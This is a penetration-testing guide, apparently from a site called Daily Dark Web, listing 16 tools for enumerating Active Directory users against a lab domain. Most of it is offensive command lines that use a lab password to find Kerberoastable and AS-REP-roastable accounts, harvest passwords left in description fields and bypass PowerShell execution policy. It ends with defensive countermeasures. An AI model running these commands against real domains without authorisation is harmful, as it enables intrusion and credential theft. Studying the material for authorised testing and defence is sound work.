Introduction



Active Directory (AD) is the backbone of identity management in virtually every enterprise Windows environment. Before an attacker can escalate privileges, perform Kerberoasting, spray passwords, or move laterally, they must first map the domain's user population. This guide documents **16 distinct techniques** for enumerating user accounts inside an Active Directory domain, covering the full spectrum of protocols an operator can leverage: LDAP, SAMR, RPC, LSARPC, SMB, and Windows-native APIs.



All commands are demonstrated against a lab domain **corp.local** with a Domain Controller at **10.10.10.5**, authenticated as the low-privileged user **analyst**. Each technique is paired with its exact command, expected output characteristics, and operational notes.

Daily Dark Web

Lab Environment

Domain: corp.local | DC IP: 10.10.10.5 | Test User: analyst | Password: P@ssw0rd!2024 | OS: Kali Linux (attacker) / Windows Server 2022 (DC)

User Enumeration

Table of Contents

01	**NetExec (nxc)**	LDAP-based bulk user enumeration
02	**PywerView**	Python port of PowerView over LDAP
03	**net rpc (Samba)**	SAMR enumeration via Samba utilities
04	**Impacket — net.py**	Python SAMR enumeration
05	**BloodyAD**	AD exploitation framework enumeration
06	**LDeep**	LDAP deep enumeration with offline caching
07	**rpcclient**	Classic MSRPC SAMR enumeration
08	**enum4linux-ng**	All-in-one SMB/RPC enumeration suite
09	**Impacket — samrdump**	Targeted SAMR user/UID dump
10	**Impacket — GetADUsers**	LDAP user dump with timestamps
11	**Impacket — lookupsid**	SID brute-forcing via LSARPC
12	**BloodHound / SharpHound**	Graph-based AD relationship mapping
13	**ldapsearch**	Raw LDAP protocol queries
14	**ldapdomaindump**	Full domain dump to HTML/JSON
15	**AD Explorer (Sysinternals)**	GUI-based directory browsing
16	**PowerView (.NET)**	Native Windows PowerShell enumeration
17	**Tool Comparison Matrix**	Side-by-side reference
18	**Defensive Countermeasures**	Detection and mitigation strategies

■ FOR AUTHORISED SECURITY RESEARCH AND PENETRATION TESTING ONLY ■

© 2026 Daily Dark Web. All rights reserved. Unauthorised use is prohibited.



01 NetExec (nxc)

Protocol: LDAP | Platform: Linux/Windows

NetExec (formerly CrackMapExec) is the de-facto Swiss-army knife of network service auditing. Its LDAP module issues an authenticated bind to the Domain Controller and requests all user objects, returning attributes such as **last password set date**, **bad password count**, and account flags. The tool's tabular output makes it trivial to spot dormant accounts, recently-changed passwords, and locked-out identities at a glance.

$ NetExec LDAP Enumeration

```
# Basic user enumeration via LDAP
nxc ldap 10.10.10.5 -u analyst -p 'P@ssw0rd!2024' --users

# Filter for accounts with passwords set more than 90 days ago
nxc ldap 10.10.10.5 -u analyst -p 'P@ssw0rd!2024' --users | grep -v 'last set.*2024'

# Enumerate with additional attributes (badpwdcount, description)
nxc ldap 10.10.10.5 -u analyst -p 'P@ssw0rd!2024' --users --kdcHost 10.10.10.5
```

Expected Output Characteristics:

Column	Value / Significance
Username	sAMAccountName — primary login identifier
BadPwdCount	Failed login attempts; high values → active spraying or lockout
PasswordLastSet	Stale credentials (> 90 days) = good spray targets
AccountFlags	Disabled / Password Never Expires / No Preauth flags
Description	Often contains passwords or roles left by administrators

Operational Note

NetExec caches credentials per target. On re-runs against the same DC the tool will reuse the Kerberos ticket, reducing authentication noise on the wire.

02 PywerView

Protocol: LDAP | Platform: Linux

PywerView ports the iconic PowerView PowerShell toolkit into a pure-Python library, allowing Linux-based operators to reproduce the same deep directory reconnaissance without touching a Windows endpoint. The **get-netuser** command performs an authenticated LDAP search and returns every attribute of every user object. Piping to grep



isolates only the fields of interest.

$ PywerView LDAP Enumeration

```
# List all user sAMAccountNames
pywerview get-netuser -w corp.local -u analyst -p 'P@ssw0rd!2024' \
--dc-ip 10.10.10.5 | grep samaccountname

# Retrieve full attribute set for a single user
pywerview get-netuser -w corp.local -u analyst -p 'P@ssw0rd!2024' \
--dc-ip 10.10.10.5 --username svc_backup

# Find accounts with SPN set (Kerberoastable)
pywerview get-netuser -w corp.local -u analyst -p 'P@ssw0rd!2024' \
--dc-ip 10.10.10.5 | grep -A1 serviceprincipalname | grep -v '^--$'
```

- **get-netgroup** — enumerate groups and memberships
- **get-netcomputer** — enumerate domain-joined machines
- **get-netgpo** — enumerate Group Policy Objects
- **get-domaintrust** — enumerate inter-domain trust relationships

03 net rpc (Samba)

Protocol: SAMR over RPC | Platform: Linux

The **net** utility bundled with Samba communicates with the Domain Controller over Microsoft's SAMR (Security Account Manager Remote) protocol. Because SAMR runs over the RPC transport rather than LDAP, this technique succeeds in environments where port 389 (LDAP) is firewalled but port 445 (SMB/RPC) remains open.

$ Samba net rpc Enumeration

```
# List all domain users (plain username list)
net rpc user -U corp.local/analyst%'P@ssw0rd!2024' -S 10.10.10.5

# Retrieve detailed info for a specific user
net rpc user info svc_sql -U corp.local/analyst%'P@ssw0rd!2024' -S 10.10.10.5

# List users in a specific group
net rpc group members 'Domain Admins' -U corp.local/analyst%'P@ssw0rd!2024' -S 10.10.10.5
```

Why SAMR Matters

SAMR enumeration bypasses LDAP restrictions. Even with LDAP signing enforced and port 389 filtered, an attacker with SMB access (port 445) can still enumerate the full user database. Defenders must restrict SAMR access separately.

04 Impacket — net.py

Protocol: SAMR | Platform: Linux/macOS



Impacket's **net.py** offers a Python-native equivalent to Samba's net rpc. It traverses the SAMR interface and returns a numbered list of all user accounts, which is useful for scripted post-processing — each line can be split on the period to extract usernames for password-spray or Kerberos pre-auth testing pipelines.

$ Impacket net.py

```
# Enumerate all users
impacket-net corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5 user

# Query a specific user's details
impacket-net corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5 user -name svc_backup

# List all groups
impacket-net corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5 group

# Show members of Domain Admins
impacket-net corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5 group -name 'Domain Admins'
```

05 BloodyAD

Protocol: LDAP/SAMR | Platform: Linux

BloodyAD is an Active Directory exploitation framework that leverages both LDAP and SAMR to perform reconnaissance and abuse misconfigurations. The **get children** command with **--otype useronly** returns the Distinguished Names (DNs) of every user object. Because DNs include the full Organisational Unit path, the output simultaneously reveals the user's identity and their position in the directory hierarchy.

$ BloodyAD Enumeration

```
# List all user objects with DN
bloodyAD --host 10.10.10.5 -d corp.local -u analyst -p 'P@ssw0rd!2024' \
get children --otype useronly

# Get attributes of a specific user
bloodyAD --host 10.10.10.5 -d corp.local -u analyst -p 'P@ssw0rd!2024' \
get object svc_backup --attr sAMAccountName,memberOf,description

# Find accounts without Kerberos pre-auth (AS-REP Roastable)
bloodyAD --host 10.10.10.5 -d corp.local -u analyst -p 'P@ssw0rd!2024' \
get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' \
--attr sAMAccountName
```

Reading Distinguished Names for Privilege Mapping:

DN Pattern	Interpretation
CN=user,OU=IT,OU=Corp,DC=corp,DC=local	User in the IT sub-OU — likely technical role
CN=user,CN=Users,DC=corp,DC=local	Default Users container — often legacy/built-in accounts



CN=user,OU=Service Accounts,…	Service account — high-value target for Kerberoasting
CN=user,OU=Domain Controllers,…	Account in DC OU — warrants immediate investigation

06 LDeep

Protocol: LDAP | Platform: Linux

LDeep performs comprehensive LDAP reconnaissance and, uniquely, caches every query response to a local directory for offline analysis. This is critical during engagements where maintaining persistent LDAP connectivity is impractical. A single authenticated session can dump users, groups, computers, GPOs, trusts, ACLs, and more — all stored for later inspection without re-authenticating.

$ LDeep LDAP Deep Enumeration

```
# Enumerate all users (sAMAccountName list)
ldeep ldap -u analyst -p P@ssw0rd!2024 -d corp.local -s 10.10.10.5 users

# Cache all modules to disk for offline review
ldeep ldap -u analyst -p P@ssw0rd!2024 -d corp.local -s 10.10.10.5 all -o ./ldeep_cache

# Show users from cached data (no network required)
ldeep cache -d ./ldeep_cache users

# Find password-never-expires accounts
ldeep ldap -u analyst -p P@ssw0rd!2024 -d corp.local -s 10.10.10.5 pso
```



07 rpcclient

Protocol: MSRPC/SAMR | Platform: Linux

rpcclient is the Samba MSRPC client — the classic, battle-tested tool for interacting with Windows RPC services. After establishing an authenticated session, operators can issue SAMR calls interactively. The **enumdomusers** command returns every domain account along with its **Relative Identifier (RID)** in hexadecimal, enabling privilege inference without any further queries.

$ rpcclient SAMR Enumeration

```
# Connect and enumerate users interactively
rpcclient -U analyst%P@ssw0rd!2024 10.10.10.5
rpcclient $> enumdomusers

# One-liner for scripting
rpcclient -U analyst%P@ssw0rd!2024 10.10.10.5 -c enumdomusers

# Look up details for a specific RID
rpcclient -U analyst%P@ssw0rd!2024 10.10.10.5 -c 'queryuser 0x1f4'

# Enumerate groups
rpcclient -U analyst%P@ssw0rd!2024 10.10.10.5 -c enumdomgroups

# Get group membership by RID
rpcclient -U analyst%P@ssw0rd!2024 10.10.10.5 -c 'querygroupmem 0x200'
```

Notable RID Values:

RID (Hex)	RID (Dec)	Account / Group
0x1f4	500	Built-in Administrator — always present, often renamed
0x1f5	501	Guest account — should be disabled in hardened environments
0x1f6	502	krbtgt — Golden Ticket target; password should rotate regularly
0x200	512	Domain Admins group — enumerate members immediately
0x201	513	Domain Users — baseline group for all accounts
0x3E8+	1000+	User-created accounts — normal operational range



08 enum4linux-ng

Protocol: SMB + RPC | Platform: Linux

enum4linux-ng is the modern Python rewrite of the classic Perl enum4linux script. It bundles SMB, RPC, and SAMR enumeration into a single run and outputs structured results in JSON or YAML for easy parsing. The **-U** flag focuses the scan on user enumeration. One particularly powerful feature is the automatic extraction of **account descriptions**, which frequently contain credentials or notes left by careless administrators.

$ enum4linux-ng Full Enumeration

```
# User-focused enumeration
enum4linux-ng -U 10.10.10.5 -u analyst -p P@ssw0rd!2024

# Full enumeration (users, groups, shares, policies)
enum4linux-ng -A 10.10.10.5 -u analyst -p P@ssw0rd!2024

# Output to JSON for scripted parsing
enum4linux-ng -A 10.10.10.5 -u analyst -p P@ssw0rd!2024 -oJ results.json

# Parse descriptions that may contain credentials
cat results.json | python3 -c "
import json,sys
d=json.load(sys.stdin)
for u,v in d.get('users',{}).items():
desc=v.get('description','').strip()
if desc: print(f'{u}: {desc}')"
```

Hunter's Tip — Description Field

User descriptions are readable by any authenticated principal. Administrators routinely embed passwords (e.g. 'Temp pass: Summer2024!'), roles ('LAPS admin'), or attack-surface hints ('AS-REP roasting enabled'). Always grep/filter the description column before moving on.

09 Impacket — samrdump.py

Protocol: SAMR | Platform: Linux/macOS

samrdump.py is a focused Impacket utility that walks the SAMR interface and retrieves every user account along with its UID (equivalent to the RID). Unlike GetADUsers.py (which uses LDAP), samrdump communicates exclusively over the SAMR pipe, making it effective even when LDAP is restricted.

$ Impacket samrdump

```
# Standard SAMR dump
impacket-samrdump corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5

# Output to file for offline analysis
impacket-samrdump corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5 | tee samr_users.txt
```



```
# Extract only usernames from output
impacket-samrdump corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5 \
| grep 'Found user' | awk '{print $3}' > userlist.txt
```

10 Impacket — GetADUsers.py

Protocol: LDAP | Platform: Linux/macOS

GetADUsers.py queries Active Directory via LDAP and returns a structured list of all user accounts with key timestamps: **PasswordLastSet** and **LastLogon**. These two fields alone enable prioritised targeting — stale passwords for credential attacks and dormant accounts for stealth persistence.

$ Impacket GetADUsers

```
# Enumerate all users with timestamps
impacket-GetADUsers corp.local/analyst:'P@ssw0rd!2024' -dc-ip 10.10.10.5 -all

# Find accounts that have NEVER logged on (ideal for persistence)
impacket-GetADUsers corp.local/analyst:'P@ssw0rd!2024' -dc-ip 10.10.10.5 -all \
| grep ''

# Pipe usernames into AS-REP roasting
impacket-GetADUsers corp.local/analyst:'P@ssw0rd!2024' -dc-ip 10.10.10.5 -all \
| awk 'NR>3{print $1}' > users.txt
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.10.10.5 -no-pass
```



11 Impacket — lookupsid.py

Protocol: LSARPC | Platform: Linux/macOS

lookupsid.py exploits the LSA Remote Protocol (LSARPC) to translate Security Identifiers (SIDs) into account names. Since domain SIDs are predictable and RIDs are sequential integers, the tool brute-forces every possible RID — surfacing not just users but also **machine accounts**, **Group Managed Service Accounts (gMSA)**, **deleted objects**, and **security groups** that LDAP-only tools may miss.

$ Impacket lookupsid — SID Brute Force

```
# Full SID brute-force (default range 0–4000)
impacket-lookupsid corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5

# Extended range — catch accounts with high RIDs
impacket-lookupsid corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5 20000

# Filter for SidTypeUser only
impacket-lookupsid corp.local/analyst:'P@ssw0rd!2024'@10.10.10.5 \
| grep SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}'

# Null session attempt (may work on older DCs)
impacket-lookupsid ''@10.10.10.5
```

SID Type Reference:

Type	Meaning	Offensive Relevance
SidTypeUser	Standard or service user account	Primary enumeration target
SidTypeGroup	Security or distribution group	Reveals role and privilege groupings
SidTypeAlias	Built-in local group alias	Identifies Backup Operators, Remote Desktop Users
SidTypeWellKnownGroup	Canonical built-in groups	Baseline — Everyone, Authenticated Users
SidTypeComputer	Machine account (ends in $)	Useful for DCSync target identification

12 BloodHound / SharpHound

Protocol: LDAP + SMB | Platform: Linux/Windows

BloodHound ingests Active Directory relationship data into a Neo4j graph database and provides a visual interface for identifying attack paths to Domain Admin. Data is collected via **SharpHound** (Windows) or **BloodHound.py** (Linux). While BloodHound's real power is path analysis, its user enumeration capability is unmatched in relational context — you see not just who exists, but exactly what they can reach and who they are members of.



$ BloodHound — Graph-Based AD Enumeration

```
# --- Linux Collection with BloodHound.py ---
pip3 install bloodhound
bloodhound-python -u analyst -p 'P@ssw0rd!2024' -d corp.local \
-ns 10.10.10.5 -c All --zip

# --- Windows Collection with SharpHound ---
# Run from a domain-joined host or with RunAs
.\SharpHound.exe -c All --domain corp.local --domaincontroller 10.10.10.5
.\SharpHound.exe -c All --stealth # Reduced noise mode

# --- Useful BloodHound Cypher Queries ---
# All domain users:
MATCH (u:User) WHERE u.domain='CORP.LOCAL' RETURN u.name,u.enabled

# Users with Kerberoastable SPNs:
MATCH (u:User) WHERE u.hasspn=true RETURN u.name,u.serviceprincipalnames

# Shortest path to Domain Admin from analyst:
MATCH p=shortestPath((s:User {name:'ANALYST@CORP.LOCAL'})-[*1..]->(t:Group
{name:'DOMAIN ADMINS@CORP.LOCAL'})) RETURN p
```

BloodHound Pre-Built Queries

BloodHound ships with pre-built analytical queries: 'Find all Domain Admins', 'Find Shortest Paths to Domain Admins', 'Find Principals with DCSync Rights', 'Find AS-REP Roastable Users', and 'List all Kerberoastable Accounts'. Run these immediately after importing the collection ZIP.

13 ldapsearch

Protocol: LDAP | Platform: Linux/macOS

When offensive tooling is unavailable or the operator needs surgical control over the query, **ldapsearch** speaks the LDAP protocol directly. Any LDAP filter can be supplied — from simple user lookups to complex attribute intersection queries. Because ldapsearch is a standard system utility on Linux/macOS, it rarely triggers endpoint security alerts.

$ ldapsearch — Raw LDAP Queries

```
# All user sAMAccountNames
ldapsearch -x -H ldap://10.10.10.5 -D 'analyst@corp.local' -w 'P@ssw0rd!2024' \
-b 'DC=corp,DC=local' '(&(objectCategory=person)(objectClass=user))' sAMAccountName

# Accounts with adminCount=1 (previously in privileged groups)
ldapsearch -x -H ldap://10.10.10.5 -D 'analyst@corp.local' -w 'P@ssw0rd!2024' \
-b 'DC=corp,DC=local' '(&(objectClass=user)(adminCount=1))' sAMAccountName

# AS-REP Roastable accounts (no pre-auth required)
ldapsearch -x -H ldap://10.10.10.5 -D 'analyst@corp.local' -w 'P@ssw0rd!2024' \
```



```
-b 'DC=corp,DC=local' \
'(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName

# Accounts with SPN set (Kerberoastable)
ldapsearch -x -H ldap://10.10.10.5 -D 'analyst@corp.local' -w 'P@ssw0rd!2024' \
-b 'DC=corp,DC=local' \
'(&(objectClass=user)(servicePrincipalName=*)(!(samAccountName=krbtgt)))' \
sAMAccountName servicePrincipalName
```

Key LDAP Filters for Targeted Enumeration:

Filter	Purpose
(adminCount=1)	Users ever added to a privileged group (not always current members)
(userAccountControl:…:=4194304)	DONT_REQ_PREAUTH — AS-REP Roastable
(userAccountControl:…:=2)	ACCOUNTDISABLE — enumerate disabled accounts for intel
(userAccountControl:…:=65536)	DONT_EXPIRE_PASSWORD — password never expires
(servicePrincipalName=*)	Kerberoastable service accounts
(pwdLastSet=0)	Password not yet set — force-change on next login



14 ldapdomaindump

Protocol: LDAP | Platform: Linux

ldapdomaindump performs a comprehensive LDAP dump and writes the results to navigable HTML reports and machine-readable JSON files — the offensive equivalent of a full domain audit report. The HTML output is colour-coded by privilege level, surfacing Domain Admins, accounts with sensitive flags, and group memberships at a single glance.

$ ldapdomaindump — Full Domain Dump

```
# Full domain dump to current directory
ldapdomaindump -u 'corp.local\analyst' -p 'P@ssw0rd!2024' 10.10.10.5

# Specify output directory
ldapdomaindump -u 'corp.local\analyst' -p 'P@ssw0rd!2024' 10.10.10.5 -o ./dump/

# Parse the JSON output for privileged users
python3 - <<'EOF'
import json
with open('./dump/domain_users.json') as f: users = json.load(f)
for u in users:
name = u['attributes']['sAMAccountName'][0]
groups = u['attributes'].get('memberOf', [])
if any('Admin' in g or 'Operator' in g for g in groups):
print(f'[PRIVILEGED] {name}: {groups}')
EOF
```

Output Files Generated:

File	Contents
domain_users.html	All users with group memberships, flags, last logon
domain_groups.html	All groups with member counts and nesting
domain_computers.html	All workstations and servers with OS version
domain_policy.html	Password policy, lockout thresholds
domain_trusts.html	Trust relationships with other domains
domain_users_by_group.html	Users organised by their highest-privilege group



15 AD Explorer (Sysinternals)

Protocol: LDAP | Platform: Windows

Active Directory Explorer is a Sysinternals graphical LDAP browser that renders the directory as a familiar file-system tree. Its standout feature is the ability to **snapshot the entire directory** and save it to a file for offline review — eliminating the need for persistent connectivity to the Domain Controller after the initial collection. The snapshot captures every object, every attribute, and the full schema in a single portable file.

$ AD Explorer — GUI Reconnaissance

```
# --- AD Explorer Workflow (Windows GUI) ---

# 1. Launch ADExplorer.exe and connect:
# Host: 10.10.10.5
# Username: corp\analyst
# Password: P@ssw0rd!2024

# 2. Navigate the tree:
# DC=corp,DC=local
# ■■■ OU=Corp
# ■■■ OU=IT
# ■■■ CN=analyst <-- click to view all attributes

# 3. Take a snapshot for offline review:
# File -> Create Snapshot... -> adexplorer_snapshot.dat

# 4. Parse the snapshot with adexplorersnapshot.py (Linux)
pip3 install adexplorersnapshot
python3 -m adexplorersnapshot adexplorer_snapshot.dat -o ./ad_dump/
```

Snapshot Advantages

An AD Explorer snapshot is taken once and analysed indefinitely offline. Repeated queries against the DC are replaced by instant local lookups. The snapshot file also serves as forensic evidence of the directory state at a specific point in time — useful for incident response comparisons.

16 PowerView

Protocol: .NET / ADSI | Platform: Windows

PowerView (part of the PowerSploit project) runs natively on any domain-joined Windows host and queries Active Directory through .NET ADSI classes. Because it uses the **current user's Kerberos token**, no credentials need to be typed at the command line — making it the stealthiest enumeration option available. PowerView queries blend with legitimate domain traffic and require no foreign binaries on the endpoint.

$ PowerView — Windows-Native Enumeration

```
# Import the module
Import-Module .\PowerView.ps1
```



```
# Or bypass execution policy:
powershell -ep bypass -c 'Import-Module .\PowerView.ps1; Get-DomainUser'

# List all user sAMAccountNames
Get-DomainUser | Select-Object SamAccountName

# Find users with SPN (Kerberoastable)
Get-DomainUser -SPN | Select-Object SamAccountName,ServicePrincipalName

# Find AS-REP Roastable accounts
Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName

# Get all Domain Admins
Get-DomainGroupMember 'Domain Admins' | Select-Object MemberName

# Find users with description field populated
Get-DomainUser | Where-Object {$_.description -ne $null} |
Select-Object SamAccountName,Description

# Export to CSV
Get-DomainUser | Select-Object SamAccountName,PasswordLastSet,LastLogonDate |
Export-Csv -NoTypeInformation users.csv
```



Tool Comparison Matrix

The table below provides a side-by-side reference for selecting the right tool based on platform, protocol, noise level, and output richness.

Tool	Protocol	Platform	Auth	Noise	Output
NetExec (nxc)	LDAP	Linux/Win	Creds	Medium	Rich table
PywerView	LDAP	Linux	Creds	Low	Full attributes
net rpc	SAMR	Linux	Creds	Low	Username list
Impacket-net	SAMR	Linux/Mac	Creds	Low	Numbered list
BloodyAD	LDAP/SAMR	Linux	Creds	Low	DNs + attrs
LDeep	LDAP	Linux	Creds	Low	Cached files
rpcclient	MSRPC	Linux	Creds	Low	RIDs + names
enum4linux-ng	SMB+RPC	Linux	Creds	Medium	JSON/YAML
samrdump	SAMR	Linux/Mac	Creds	Low	UIDs + names
GetADUsers	LDAP	Linux/Mac	Creds	Low	Timestamps
lookupsid	LSARPC	Linux/Mac	Creds/None	Low	All SID types
BloodHound	LDAP+SMB	Linux/Win	Creds	High	Graph + JSON
ldapsearch	LDAP	Linux/Mac	Creds	Very Low	LDIF raw
ldapdomaindump	LDAP	Linux	Creds	Medium	HTML + JSON
AD Explorer	LDAP	Windows	Creds	Low	Snapshot file
PowerView	ADSI/.NET	Windows	Token	Very Low	PS objects



Defensive Countermeasures

Active Directory is architecturally designed to allow any authenticated user to enumerate the directory. Completely preventing reconnaissance is therefore impossible — but defenders can substantially **raise the cost**, **increase detection probability**, and **reduce the signal quality** available to attackers. The following controls are listed in approximate order of impact.

Sanitise Description and Comment Fields

01

Treat every user description, comment, and info attribute as publicly readable. Audit quarterly with: Get-ADUser -Filter * -Properties Description | Where-Object {$_.Description} | Select Name,Description. Remove any password hints, privilege notes, or tool references.

Restrict Anonymous LDAP Binds

02

Set the dsHeuristics attribute to disable anonymous binds. Configure the 'Pre-Windows 2000 Compatible Access' group to remove ANONYMOUS LOGON and EVERYONE from its membership. This prevents unauthenticated LDAP queries.

Enable LDAP Query Auditing (Event ID 1644)

03

Configure the Domain Controller to log expensive LDAP queries. Set the HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\15 Field Engineering registry value to 5. Alert on any principal retrieving >1000 user objects in a single session or within a short time window.

Monitor SAMR and LSARPC Traffic

04

Deploy network-level inspection on the MS-SAMR (\PIPE\samr) and MS-LSAT (\PIPE\lsarpc) named pipes. Tools such as rpcclient, samrdump, lookupsid, and net rpc generate characteristic SAMR traffic that LDAP-only auditing misses. Windows Firewall can block SAMR access for non-administrative workstations.

Deploy Honeypot / Canary Accounts

05

Create plausible but entirely fictitious high-value accounts: 'svc_backup_admin', 'legacy_domain_admin', 'IT_helpdesk_elevated'. Configure SIEM alerts on any Kerberos TGT request, LDAP attribute lookup, or authentication attempt against these accounts. Any activity is unambiguous evidence of active enumeration.

Implement Tiered Administration Model

06

Separate Day-0 (Domain Admin), Day-1 (Server Admin), and Day-2 (Workstation Admin) accounts into distinct OUs with different GPOs. This limits the blast radius when credentials are enumerated and makes privilege escalation paths visible to both attackers and defenders.



Enforce LDAP Signing and Channel Binding

07 Set 'Domain controller: LDAP server signing requirements' to 'Require signing' in Group Policy. Enable LDAP Channel Binding (CVE-2017-8563 patch). This prevents relay attacks that use enumerated credentials and forces all LDAP sessions to be integrity-protected.

Restrict SAMR Access via Group Policy

08 From Windows Server 2016+, use the 'Network access: Restrict clients allowed to make remote calls to SAM' policy to limit which accounts can call the SAMR interface. Set the SDDL string to O:BAG:BAD:(A;;RC;;;BA) to restrict to built-in administrators.

Block lookupsid with LSARPC Restrictions

09 Apply the Windows Defender Credential Guard and configure LSA protection (HKLM\SYSTEM\CurrentControlSet\Control\Lsa, RunAsPPL=1) to harden the LSA against SID brute-forcing techniques used by lookupsid.py.

Rotate krbtgt Password Regularly

10 The krbtgt account (RID 502) is always surfaced during enumeration. Rotate its password every 180 days (twice in succession to invalidate all existing Golden Tickets). Monitor for any Kerberos ticket with a lifetime exceeding your domain policy maximum.



Conclusion

Active Directory user enumeration is not a single technique but a spectrum of approaches spanning multiple protocols, platforms, and authentication contexts. This guide has documented 16 distinct methods — from the loud and feature-rich (BloodHound, enum4linux-ng) to the surgical and near-silent (ldapsearch, PowerView) — giving the practitioner a complete arsenal adaptable to any network restriction or operational constraint.

For defenders, the key takeaway is that no single control eliminates the risk. LDAP restrictions are bypassed via SAMR; SAMR restrictions are bypassed via LSARPC; network-level blocks are defeated by Windows-native tooling that uses authenticated domain sessions. A layered strategy — combining protocol-level restrictions, behavioural detection, honeypot accounts, and credential hygiene — is the only realistic path to making enumeration operationally costly.

For offensive practitioners, the selection of enumeration technique should be driven by the environment's defensive posture, not habit. Map the accessible ports and protocols first, then choose the tool that fits the aperture — and always harvest the description field.

■ Legal Disclaimer

This guide is produced by Daily Dark Web for authorised penetration testers, red teamers, and security researchers. All techniques described must only be applied against systems for which explicit written authorisation has been obtained. Unauthorised use against systems you do not own or have permission to test is illegal. Daily Dark Web — 2026. All rights reserved.